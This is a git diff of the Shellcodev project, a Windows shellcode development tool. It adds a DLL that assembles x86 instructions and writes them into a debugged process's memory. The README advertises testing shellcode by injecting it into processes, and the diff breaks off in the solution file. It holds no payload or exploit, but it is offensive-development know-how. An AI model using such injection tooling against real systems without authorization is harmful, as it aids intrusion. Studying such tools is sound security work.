diff --git a/.idea/.gitignore b/.idea/.gitignore deleted file mode 100644 index 13566b8..0000000 --- a/.idea/.gitignore +++ /dev/null @@ -1,8 +0,0 @@ -# Default ignored files -/shelf/ -/workspace.xml -# Editor-based HTTP Client requests -/httpRequests/ -# Datasource local storage ignored files -/dataSources/ -/dataSources.local.xml diff --git a/.idea/Shellcodev.iml b/.idea/Shellcodev.iml deleted file mode 100644 index bc2cd87..0000000 --- a/.idea/Shellcodev.iml +++ /dev/null @@ -1,8 +0,0 @@ - - - - - - - - \ No newline at end of file diff --git a/.idea/modules.xml b/.idea/modules.xml deleted file mode 100644 index 9979fe5..0000000 --- a/.idea/modules.xml +++ /dev/null @@ -1,8 +0,0 @@ - - - - - - - - \ No newline at end of file diff --git a/.idea/vcs.xml b/.idea/vcs.xml deleted file mode 100644 index ba9438a..0000000 --- a/.idea/vcs.xml +++ /dev/null @@ -1,8 +0,0 @@ - - - - - - - - \ No newline at end of file diff --git a/InstructionHandler/InstructionHandler.vcxproj b/InstructionHandler/InstructionHandler.vcxproj new file mode 100644 index 0000000..2168be7 --- /dev/null +++ b/InstructionHandler/InstructionHandler.vcxproj @@ -0,0 +1,304 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {34a3c54e-7c33-4f9a-af16-2cd5e68ea518} + InstructionHandler + 10.0.19041.0 + + + + DynamicLibrary + true + v142 + Unicode + + + DynamicLibrary + false + v143 + true + Unicode + + + DynamicLibrary + true + v142 + Unicode + + + DynamicLibrary + false + v143 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + C:\Users\XaFF\source\repos\asmtk\src;C:\Users\XaFF\source\repos\asmjit\src;$(IncludePath) + instrHandler_x86 + $(SolutionDir)Shellcodev\bin\Debug\ + + + false + + + true + $(IncludePath) + + + false + + + + Level3 + true + WIN32;_DEBUG;INSTRUCTIONHANDLER_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + true + NotUsing + pch.h + MultiThreadedDebug + true + Disabled + + + Windows + true + false + %(AdditionalDependencies) + + + + + Level3 + true + true + true + WIN32;NDEBUG;INSTRUCTIONHANDLER_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + true + Use + pch.h + + + Windows + true + true + true + false + + + + + Level3 + true + _DEBUG;INSTRUCTIONHANDLER_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + true + NotUsing + pch.h + MultiThreadedDebug + C:\Users\XaFF\source\repos\asmtk\src;C:\Users\XaFF\source\repos\asmjit\src;%(AdditionalIncludeDirectories) + + + Windows + true + false + asmjit.lib;asmtk.lib;%(AdditionalDependencies) + C:\Users\XaFF\source\repos\asmtk\src;C:\Users\XaFF\source\repos\asmjit\Debug;%(AdditionalLibraryDirectories) + + + + + Level3 + true + true + true + NDEBUG;INSTRUCTIONHANDLER_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + true + Use + pch.h + + + Windows + true + true + true + false + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/InstructionHandler/InstructionHandler.vcxproj.filters b/InstructionHandler/InstructionHandler.vcxproj.filters new file mode 100644 index 0000000..c1519bc --- /dev/null +++ b/InstructionHandler/InstructionHandler.vcxproj.filters @@ -0,0 +1,429 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + {521eaedd-812b-4a01-9cec-904efa2b2992} + + + {d0ef2b0e-a8b0-4e77-acc7-8ecb28d43719} + + + {e58bd0e7-4fdd-48bb-b5c3-dbd7c04a3fe5} + + + {dc3e6253-098c-4516-8e40-d4bccf20ad3e} + + + + + Source Files + + + Header Files\asmjit\x86 + + + Header Files\asmjit\x86 + + + Header Files\asmjit\x86 + + + Header Files\asmjit\x86 + + + Header Files\asmjit\x86 + + + Header Files\asmjit\x86 + + + Header Files\asmjit\x86 + + + Header Files\asmjit\x86 + + + Header Files\asmjit\x86 + + + Header Files\asmjit\x86 + + + Header Files\asmjit\x86 + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmtk + + + Header Files\asmtk + + + Source Files + + + Source Files + + + + + Header Files + + + Header Files\asmjit + + + Header Files\asmjit + + + Header Files\asmjit + + + Header Files\asmjit + + + Header Files\asmjit + + + Header Files\asmjit\x86 + + + Header Files\asmjit\x86 + + + Header Files\asmjit\x86 + + + Header Files\asmjit\x86 + + + Header Files\asmjit\x86 + + + Header Files\asmjit\x86 + + + Header Files\asmjit\x86 + + + Header Files\asmjit\x86 + + + Header Files\asmjit\x86 + + + Header Files\asmjit\x86 + + + Header Files\asmjit\x86 + + + Header Files\asmjit\x86 + + + Header Files\asmjit\x86 + + + Header Files\asmjit\x86 + + + Header Files\asmjit\x86 + + + Header Files\asmjit\x86 + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmtk + + + Header Files\asmtk + + + Header Files\asmtk + + + Header Files\asmtk + + + Header Files\asmtk + + + Header Files\asmtk + + + Header Files\asmtk + + + \ No newline at end of file diff --git a/InstructionHandler/dllmain.cpp b/InstructionHandler/dllmain.cpp new file mode 100644 index 0000000..f6b5fc1 --- /dev/null +++ b/InstructionHandler/dllmain.cpp @@ -0,0 +1,65 @@ +#define _CRT_SECURE_NO_WARNINGS +#include "ihandler.h" + +using namespace asmjit; +using namespace asmtk; + +typedef int (*Func)(void); +static contexts_t ctx = { 0 }; +static registers_t reg = { 0 }; + +const char* AssembleInstructions(const char* instruction) +{ + std::vector data; + JitRuntime rt; + CodeHolder code; + + code.init(rt.environment()); + + x86::Assembler a(&code); + AsmParser p(&a); + + Error err = p.parse(instruction); + + if (err != kErrorOk) + return (const char*)"Error: %s", DebugUtils::errorAsString(err); + + if (code._relocations.size()) + return (const char*)"Error: unresolved relocations"; + + code.detach(&a); + + CodeBuffer& buffer = code.sectionById(0)->buffer(); + for (size_t i = 0; i < buffer.size(); i++) + data.push_back(buffer.data()[i]); + + unsigned char* result = new unsigned char[64]; + for (size_t i = 0; i < data.size(); ++i) + sprintf((char*)&result[i * 2], "%02x", data[i]); + + return (const char*)result; +} + +// CODE USED FROM WinREPL +// https://github.com/zerosum0x0/WinREPL +registers_t* GetRegisters(const char* instruction, PROCESS_INFORMATION* pi) +{ + ctx.pi.hProcess = pi->hProcess; + ctx.pi.hThread = pi->hThread; + ctx.pi.dwProcessId = pi->dwProcessId; + ctx.pi.dwThreadId = pi->dwThreadId; + + if (!Runner(&ctx)) + return NULL; + + if (instruction == NULL) + { + InitRegisters(&ctx, ®); + return ® + } + + Instructions(&ctx, instruction); + InitRegisters(&ctx, ®); + + return ® +} \ No newline at end of file diff --git a/InstructionHandler/eval.cpp b/InstructionHandler/eval.cpp new file mode 100644 index 0000000..24c4888 --- /dev/null +++ b/InstructionHandler/eval.cpp @@ -0,0 +1,134 @@ +#include "ihandler.h" + +BOOL Runner(contexts_t* ctx) +{ + if (!contexts_allocmem(ctx)) + return FALSE; + + if (!contexts(ctx)) + return FALSE; + + return TRUE; +} + +void debug_proc(contexts_t* ctx) +{ + BOOL go = TRUE; + while (go) + { + ContinueDebugEvent(ctx->pi.dwProcessId, ctx->pi.dwThreadId, DBG_CONTINUE); + + DEBUG_EVENT dbg = { 0 }; + if (!WaitForDebugEvent(&dbg, INFINITE)) + break; + + if (dbg.dwThreadId != ctx->pi.dwThreadId) + { + ContinueDebugEvent(dbg.dwProcessId, dbg.dwThreadId, DBG_CONTINUE); + continue; + } + + if (dbg.dwDebugEventCode == EXCEPTION_DEBUG_EVENT && dbg.dwThreadId == ctx->pi.dwThreadId) + { + go = FALSE; + + switch (dbg.u.Exception.ExceptionRecord.ExceptionCode) + { + case EXCEPTION_ACCESS_VIOLATION: + break; + + case EXCEPTION_PRIV_INSTRUCTION: + break; + + case EXCEPTION_BREAKPOINT: + break; + default: + break; + } + } + + if (dbg.dwDebugEventCode == LOAD_DLL_DEBUG_EVENT) + { + if (dbg.u.LoadDll.hFile) + CloseHandle(dbg.u.LoadDll.hFile); + } + } + + CONTEXT context = { 0 }; + context.ContextFlags = CONTEXT_ALL; + GetThreadContext(ctx->pi.hThread, &context); + + memcpy(&ctx->prev, &ctx->curr, sizeof(CONTEXT)); + memcpy(&ctx->curr, &context, sizeof(CONTEXT)); +} + +BOOL SetProcess(contexts_t* ctx, unsigned char* encode, size_t size) +{ + DWORD dwOldProtect = 0; + SIZE_T nBytes; + CONTEXT context = { 0 }; + + context.ContextFlags = CONTEXT_ALL; + if (!GetThreadContext(ctx->pi.hThread, &context)) + return FALSE; + + LPVOID addr = (LPVOID)context.Eip; + + if (!VirtualProtectEx(ctx->pi.hProcess, (LPVOID)addr, size + 1, PAGE_READWRITE, &dwOldProtect)) + return FALSE; + + if (!WriteProcessMemory(ctx->pi.hProcess, (LPVOID)addr, (LPCVOID)encode, size, &nBytes)) + return FALSE; + + if (!WriteProcessMemory(ctx->pi.hProcess, (LPVOID)((LPBYTE)addr + size), (LPCVOID)"\xcc", 1, &nBytes)) + return FALSE; + + if (!VirtualProtectEx(ctx->pi.hProcess, (LPVOID)addr, size + 1, dwOldProtect, &dwOldProtect)) + return FALSE; + + FlushInstructionCache(ctx->pi.hProcess, (LPCVOID)addr, size + 1); + + return TRUE; +} + +BOOL Assemble(const char* instruction, std::vector& data, size_t address) +{ + using namespace asmjit; + using namespace asmtk; + + JitRuntime rt; + CodeHolder code; + + code.init(rt.environment(), address); + + x86::Assembler a(&code); + AsmParser p(&a); + + Error error = p.parse(instruction); + + if (error != kErrorOk) + return FALSE; + + if (code._relocations.size()) + return FALSE; + + CodeBuffer& buffer = code.sectionById(0)->buffer(); + for (size_t i = 0; i < buffer.size(); i++) + data.push_back(buffer.data()[i]); + + return TRUE; +} + +BOOL Instructions(contexts_t* ctx, const char* instruction) +{ + std::vector data; + size_t addr = ctx->curr.Eip; + + if (!Assemble(instruction, data, addr + data.size())) + return FALSE; + + if (!SetProcess(ctx, data.data(), data.size())) + return FALSE; + + debug_proc(ctx); +} \ No newline at end of file diff --git a/InstructionHandler/ihandler.h b/InstructionHandler/ihandler.h new file mode 100644 index 0000000..c24c151 --- /dev/null +++ b/InstructionHandler/ihandler.h @@ -0,0 +1,51 @@ +#pragma once + +#include +#include +#include +#include +#include +#include +#include + +#define _AMD64_ 1 +#define MEM_SIZE 0x10000; + +typedef struct _contexts_t +{ + PROCESS_INFORMATION pi; + LPVOID lpStartAddress; + SIZE_T memSize; + CONTEXT prev; + CONTEXT curr; +} contexts_t; + +typedef struct _registers_t +{ + int eax; + int ebx; + int ecx; + int edx; + int esi; + int edi; + int eip; + int esp; + int ebp; +} registers_t; + +#if defined (__cplusplus) +extern "C" +{ +#endif + __declspec(dllexport) const char* AssembleInstructions(const char* instruction); + __declspec(dllexport) registers_t* GetRegisters(const char* instruction, PROCESS_INFORMATION* pi); +#if defined (__cplusplus) +} +#endif + +BOOL contexts_allocmem(contexts_t* ctx); +BOOL contexts(contexts_t* ctx); +BOOL Runner(contexts_t* ctx); +BOOL Instructions(contexts_t* ctx, const char* instruction); + +VOID InitRegisters(contexts_t* ctx, registers_t* registers); \ No newline at end of file diff --git a/InstructionHandler/setup.cpp b/InstructionHandler/setup.cpp new file mode 100644 index 0000000..a284bfe --- /dev/null +++ b/InstructionHandler/setup.cpp @@ -0,0 +1,58 @@ +#include "ihandler.h" + +BOOL contexts_allocmem(contexts_t* ctx) +{ + if (ctx->memSize == 0) + ctx->memSize = MEM_SIZE; + + ctx->lpStartAddress = VirtualAllocEx( + ctx->pi.hProcess, + NULL, + ctx->memSize, + MEM_COMMIT, + PAGE_EXECUTE_READ); + + return ctx->lpStartAddress != NULL; +} + +BOOL contexts(contexts_t* ctx) +{ + CONTEXT context = { 0 }; + context.ContextFlags = CONTEXT_ALL; + + if (!GetThreadContext(ctx->pi.hThread, &context)) + return FALSE; + + context.Eip = (DWORD)ctx->lpStartAddress; + + context.Eax = 0; + context.Ebx = 0; + context.Ecx = 0; + context.Edx = 0; + + context.Esi = 0; + context.Edi = 0; + context.Ebp = 0; + + context.EFlags = 0; + + ctx->prev = context; + ctx->curr = context; + + return SetThreadContext(ctx->pi.hThread, &context); +} + +VOID InitRegisters(contexts_t* ctx,registers_t* registers) +{ + registers->eax = ctx->curr.Eax; + registers->ebx = ctx->curr.Ebx; + registers->ecx = ctx->curr.Ecx; + registers->edx = ctx->curr.Edx; + + registers->esi = ctx->curr.Esi; + registers->edi = ctx->curr.Edi; + + registers->esp = ctx->curr.Esp; + registers->eip = ctx->curr.Eip; + registers->ebp = ctx->curr.Ebp; +} \ No newline at end of file diff --git a/README.md b/README.md index 8d3c369..323b898 100644 --- a/README.md +++ b/README.md @@ -1,59 +1,33 @@ -# Shellcodev -Shellcodev is a tool designed to help and automate the process of shellcode creation. - -[![Test](https://img.shields.io/badge/Tested-x86-brightgreen?style=flat-square)]() [![Test](https://img.shields.io/badge/Tested-x64-brightgreen?style=flat-square)]() [![Release](https://img.shields.io/badge/Release-v2.2-blue?style=flat-square)](https://github.com/XaFF-XaFF/Shellcodev/releases/tag/v2.2.1) - -![1](https://raw.githubusercontent.com/XaFF-XaFF/Shellcodev/master/screenshots/1.png?raw=true) - -## Attribution -This project is based on [WinREPL](https://github.com/XaFF-XaFF/WinREPL) by zerosum0x0 - -### Commands - +
+

Shellcodev

+

Shellcodev is a tool designed to help and automate the process of shellcode creation.

+ Shellcodev's logo +
+ +### Features + 1. Snippets + 2. Instruction assembling in real time + 3. Showing registers values in real time + 4. Testing shellcode by injecting it into the process + 5. Testing shellcode by embedding it into the executable + 6. Dll function address extractor + 7. Converting bytes into chosen format (C / C#) + 8. [TODO] Save project to file + +### Snippets ``` -.help Show this help screen. -.registers Show more detailed register info. -.list Show list of previously executed assembly instructions. -.edit line Edit specified line in list. -.del line Delete specified line from list. -.xor e/d/status Enable, disable or show status of nullbyte xoring. -.read addr size Read from a memory address. -.write addr hexdata Write to a memory address. -.toshell format Convert list to selected shellcode format. Available formats: c, cs, raw -.inject pid Test shellcode by injecting it into the process. Works currently only on x86! -.allocate size Allocate a memory buffer. -.loadlibrary path Load a DLL into the process. -.kernel32 func Get address of a kernel32 export. -.shellcode hexdata Execute raw shellcode. -.peb Loads PEB into accumulator. -.reset Start a new environment. -.quit Exit the program. +"string" Automatically converts string into hex and encodes it with little endian. + If string contains nullbytes it's being XORed to avoid shellcode termination. + Stack is build vice versa. + +.dll.function Automatically extracts function address from dll. Address is getting converted + into hex and encoded with little endian. ``` -### Added features - -All the instructions provided by user are now stored. User is now able to list, edit and delete instructions which makes -shellcodes much easier to modify. Everything is in real-time, so any changes made in list also changes the register values. - -#### Listing -![2](https://raw.githubusercontent.com/XaFF-XaFF/Shellcodev/master/screenshots/2.png?raw=true) - -#### String snippets - - -#### Nullbyte handling - - -### Goal features +### Snippets examples -- **Done:** ~~String converter: String provided by user will be automatically converted to hex and encoded with little endian. In case of nullbytes, they -will be removed by encrypting data with xor.~~ -- **Done:** ~~Shellcode runner: User will be able to test shellcode by injecting it into the process.~~ -- **Done:** ~~More formats~~. -- **Done:** ~~Make nullbyte obfuscation optional~~ -- Loop support +

String converter

+ -### References -Libraries used to assemble instructions: -- [AsmJit](https://github.com/asmjit/asmjit) -- [AsmTK](https://github.com/asmjit/asmtk) +

Get DLL address

+ diff --git a/Shellcodev.sln b/Shellcodev.sln index 51f505c..20d7681 100644 --- a/Shellcodev.sln +++ b/Shellcodev.sln @@ -1,79 +1,105 @@  Microsoft Visual Studio Solution File, Format Version 12.00 # Visual Studio Version 17 -VisualStudioVersion = 17.3.32901.215 +VisualStudioVersion = 17.0.31903.59 MinimumVisualStudioVersion = 10.0.40219.1 -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "asmtk", "asmtk\build_vs2022_x86\asmtk.vcxproj", "{8BEBE135-54E1-30EB-9CE8-432B756956CA}" +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "InstructionHandler", "InstructionHandler\InstructionHandler.vcxproj", "{34A3C54E-7C33-4F9A-AF16-2CD5E68EA518}" EndProject -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "asmjit", "asmjit\build_vs2022_x86\asmjit.vcxproj", "{57E360DB-BAB4-3C8F-B324-2294D7C36CF1}" +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Shellcodevv", "Shellcodevv\Shellcodevv.csproj", "{0740617B-C558-4508-9C12-BD90713B419E}" EndProject -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Shellcodev", "Shellcodev\Shellcodev.vcxproj", "{460A5496-23BB-4310-B45D-12D13745007B}" +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Shellcodev", "Shellcodev\Shellcodev.csproj", "{B00C54FA-DB0D-41B7-951E-39BD93D9FE20}" EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU Debug|x64 = Debug|x64 Debug|x86 = Debug|x86 + MinSizeRel|Any CPU = MinSizeRel|Any CPU MinSizeRel|x64 = MinSizeRel|x64 MinSizeRel|x86 = MinSizeRel|x86 + Release|Any CPU = Release|Any CPU Release|x64 = Release|x64 Release|x86 = Release|x86 + RelWithDebInfo|Any CPU = RelWithDebInfo|Any CPU RelWithDebInfo|x64 = RelWithDebInfo|x64 RelWithDebInfo|x86 = RelWithDebInfo|x86 EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution - {8BEBE135-54E1-30EB-9CE8-432B756956CA}.Debug|x64.ActiveCfg = Debug|Win32 - {8BEBE135-54E1-30EB-9CE8-432B756956CA}.Debug|x64.Build.0 = Debug|Win32 - {8BEBE135-54E1-30EB-9CE8-432B756956CA}.Debug|x86.ActiveCfg = Debug|Win32 - {8BEBE135-54E1-30EB-9CE8-432B756956CA}.Debug|x86.Build.0 = Debug|Win32 - {8BEBE135-54E1-30EB-9CE8-432B756956CA}.MinSizeRel|x64.ActiveCfg = MinSizeRel|Win32 - {8BEBE135-54E1-30EB-9CE8-432B756956CA}.MinSizeRel|x64.Build.0 = MinSizeRel|Win32 - {8BEBE135-54E1-30EB-9CE8-432B756956CA}.MinSizeRel|x86.ActiveCfg = MinSizeRel|Win32 - {8BEBE135-54E1-30EB-9CE8-432B756956CA}.MinSizeRel|x86.Build.0 = MinSizeRel|Win32 - {8BEBE135-54E1-30EB-9CE8-432B756956CA}.Release|x64.ActiveCfg = Release|Win32 - {8BEBE135-54E1-30EB-9CE8-432B756956CA}.Release|x64.Build.0 = Release|Win32 - {8BEBE135-54E1-30EB-9CE8-432B756956CA}.Release|x86.ActiveCfg = Release|Win32 - {8BEBE135-54E1-30EB-9CE8-432B756956CA}.Release|x86.Build.0 = Release|Win32 - {8BEBE135-54E1-30EB-9CE8-432B756956CA}.RelWithDebInfo|x64.ActiveCfg = RelWithDebInfo|Win32 - {8BEBE135-54E1-30EB-9CE8-432B756956CA}.RelWithDebInfo|x64.Build.0 = RelWithDebInfo|Win32 - {8BEBE135-54E1-30EB-9CE8-432B756956CA}.RelWithDebInfo|x86.ActiveCfg = RelWithDebInfo|Win32 - {8BEBE135-54E1-30EB-9CE8-432B756956CA}.RelWithDebInfo|x86.Build.0 = RelWithDebInfo|Win32 - {57E360DB-BAB4-3C8F-B324-2294D7C36CF1}.Debug|x64.ActiveCfg = Debug|Win32 - {57E360DB-BAB4-3C8F-B324-2294D7C36CF1}.Debug|x64.Build.0 = Debug|Win32 - {57E360DB-BAB4-3C8F-B324-2294D7C36CF1}.Debug|x86.ActiveCfg = Debug|Win32 - {57E360DB-BAB4-3C8F-B324-2294D7C36CF1}.Debug|x86.Build.0 = Debug|Win32 - {57E360DB-BAB4-3C8F-B324-2294D7C36CF1}.MinSizeRel|x64.ActiveCfg = MinSizeRel|Win32 - {57E360DB-BAB4-3C8F-B324-2294D7C36CF1}.MinSizeRel|x64.Build.0 = MinSizeRel|Win32 - {57E360DB-BAB4-3C8F-B324-2294D7C36CF1}.MinSizeRel|x86.ActiveCfg = MinSizeRel|Win32 - {57E360DB-BAB4-3C8F-B324-2294D7C36CF1}.MinSizeRel|x86.Build.0 = MinSizeRel|Win32 - {57E360DB-BAB4-3C8F-B324-2294D7C36CF1}.Release|x64.ActiveCfg = Release|Win32 - {57E360DB-BAB4-3C8F-B324-2294D7C36CF1}.Release|x64.Build.0 = Release|Win32 - {57E360DB-BAB4-3C8F-B324-2294D7C36CF1}.Release|x86.ActiveCfg = Release|Win32 - {57E360DB-BAB4-3C8F-B324-2294D7C36CF1}.Release|x86.Build.0 = Release|Win32 - {57E360DB-BAB4-3C8F-B324-2294D7C36CF1}.RelWithDebInfo|x64.ActiveCfg = RelWithDebInfo|Win32 - {57E360DB-BAB4-3C8F-B324-2294D7C36CF1}.RelWithDebInfo|x64.Build.0 = RelWithDebInfo|Win32 - {57E360DB-BAB4-3C8F-B324-2294D7C36CF1}.RelWithDebInfo|x86.ActiveCfg = RelWithDebInfo|Win32 - {57E360DB-BAB4-3C8F-B324-2294D7C36CF1}.RelWithDebInfo|x86.Build.0 = RelWithDebInfo|Win32 - {460A5496-23BB-4310-B45D-12D13745007B}.Debug|x64.ActiveCfg = Debug|x64 - {460A5496-23BB-4310-B45D-12D13745007B}.Debug|x64.Build.0 = Debug|x64 - {460A5496-23BB-4310-B45D-12D13745007B}.Debug|x86.ActiveCfg = Debug|Win32 - {460A5496-23BB-4310-B45D-12D13745007B}.Debug|x86.Build.0 = Debug|Win32 - {460A5496-23BB-4310-B45D-12D13745007B}.MinSizeRel|x64.ActiveCfg = Debug|x64 - {460A5496-23BB-4310-B45D-12D13745007B}.MinSizeRel|x64.Build.0 = Debug|x64 - {460A5496-23BB-4310-B45D-12D13745007B}.MinSizeRel|x86.ActiveCfg = Debug|Win32 - {460A5496-23BB-4310-B45D-12D13745007B}.MinSizeRel|x86.Build.0 = Debug|Win32 - {460A5496-23BB-4310-B45D-12D13745007B}.Release|x64.ActiveCfg = Release|x64 - {460A5496-23BB-4310-B45D-12D13745007B}.Release|x64.Build.0 = Release|x64 - {460A5496-23BB-4310-B45D-12D13745007B}.Release|x86.ActiveCfg = Release|Win32 - {460A5496-23BB-4310-B45D-12D13745007B}.Release|x86.Build.0 = Release|Win32 - {460A5496-23BB-4310-B45D-12D13745007B}.RelWithDebInfo|x64.ActiveCfg = Release|x64 - {460A5496-23BB-4310-B45D-12D13745007B}.RelWithDebInfo|x64.Build.0 = Release|x64 - {460A5496-23BB-4310-B45D-12D13745007B}.RelWithDebInfo|x86.ActiveCfg = Release|Win32 - {460A5496-23BB-4310-B45D-12D13745007B}.RelWithDebInfo|x86.Build.0 = Release|Win32 + {34A3C54E-7C33-4F9A-AF16-2CD5E68EA518}.Debug|Any CPU.ActiveCfg = Debug|Win32 + {34A3C54E-7C33-4F9A-AF16-2CD5E68EA518}.Debug|x64.ActiveCfg = Debug|x64 + {34A3C54E-7C33-4F9A-AF16-2CD5E68EA518}.Debug|x64.Build.0 = Debug|x64 + {34A3C54E-7C33-4F9A-AF16-2CD5E68EA518}.Debug|x86.ActiveCfg = Debug|Win32 + {34A3C54E-7C33-4F9A-AF16-2CD5E68EA518}.Debug|x86.Build.0 = Debug|Win32 + {34A3C54E-7C33-4F9A-AF16-2CD5E68EA518}.MinSizeRel|Any CPU.ActiveCfg = Release|x64 + {34A3C54E-7C33-4F9A-AF16-2CD5E68EA518}.MinSizeRel|Any CPU.Build.0 = Release|x64 + {34A3C54E-7C33-4F9A-AF16-2CD5E68EA518}.MinSizeRel|x64.ActiveCfg = Release|x64 + {34A3C54E-7C33-4F9A-AF16-2CD5E68EA518}.MinSizeRel|x64.Build.0 = Release|x64 + {34A3C54E-7C33-4F9A-AF16-2CD5E68EA518}.MinSizeRel|x86.ActiveCfg = Release|Win32 + {34A3C54E-7C33-4F9A-AF16-2CD5E68EA518}.MinSizeRel|x86.Build.0 = Release|Win32 + {34A3C54E-7C33-4F9A-AF16-2CD5E68EA518}.Release|Any CPU.ActiveCfg = Release|Win32 + {34A3C54E-7C33-4F9A-AF16-2CD5E68EA518}.Release|x64.ActiveCfg = Release|x64 + {34A3C54E-7C33-4F9A-AF16-2CD5E68EA518}.Release|x64.Build.0 = Release|x64 + {34A3C54E-7C33-4F9A-AF16-2CD5E68EA518}.Release|x86.ActiveCfg = Release|Win32 + {34A3C54E-7C33-4F9A-AF16-2CD5E68EA518}.Release|x86.Build.0 = Release|Win32 + {34A3C54E-7C33-4F9A-AF16-2CD5E68EA518}.RelWithDebInfo|Any CPU.ActiveCfg = Release|x64 + {34A3C54E-7C33-4F9A-AF16-2CD5E68EA518}.RelWithDebInfo|Any CPU.Build.0 = Release|x64 + {34A3C54E-7C33-4F9A-AF16-2CD5E68EA518}.RelWithDebInfo|x64.ActiveCfg = Release|x64 + {34A3C54E-7C33-4F9A-AF16-2CD5E68EA518}.RelWithDebInfo|x64.Build.0 = Release|x64 + {34A3C54E-7C33-4F9A-AF16-2CD5E68EA518}.RelWithDebInfo|x86.ActiveCfg = Release|Win32 + {34A3C54E-7C33-4F9A-AF16-2CD5E68EA518}.RelWithDebInfo|x86.Build.0 = Release|Win32 + {0740617B-C558-4508-9C12-BD90713B419E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {0740617B-C558-4508-9C12-BD90713B419E}.Debug|Any CPU.Build.0 = Debug|Any CPU + {0740617B-C558-4508-9C12-BD90713B419E}.Debug|x64.ActiveCfg = Debug|Any CPU + {0740617B-C558-4508-9C12-BD90713B419E}.Debug|x64.Build.0 = Debug|Any CPU + {0740617B-C558-4508-9C12-BD90713B419E}.Debug|x86.ActiveCfg = Debug|Any CPU + {0740617B-C558-4508-9C12-BD90713B419E}.Debug|x86.Build.0 = Debug|Any CPU + {0740617B-C558-4508-9C12-BD90713B419E}.MinSizeRel|Any CPU.ActiveCfg = Debug|Any CPU + {0740617B-C558-4508-9C12-BD90713B419E}.MinSizeRel|Any CPU.Build.0 = Debug|Any CPU + {0740617B-C558-4508-9C12-BD90713B419E}.MinSizeRel|x64.ActiveCfg = Debug|Any CPU + {0740617B-C558-4508-9C12-BD90713B419E}.MinSizeRel|x64.Build.0 = Debug|Any CPU + {0740617B-C558-4508-9C12-BD90713B419E}.MinSizeRel|x86.ActiveCfg = Debug|Any CPU + {0740617B-C558-4508-9C12-BD90713B419E}.MinSizeRel|x86.Build.0 = Debug|Any CPU + {0740617B-C558-4508-9C12-BD90713B419E}.Release|Any CPU.ActiveCfg = Release|Any CPU + {0740617B-C558-4508-9C12-BD90713B419E}.Release|Any CPU.Build.0 = Release|Any CPU + {0740617B-C558-4508-9C12-BD90713B419E}.Release|x64.ActiveCfg = Release|Any CPU + 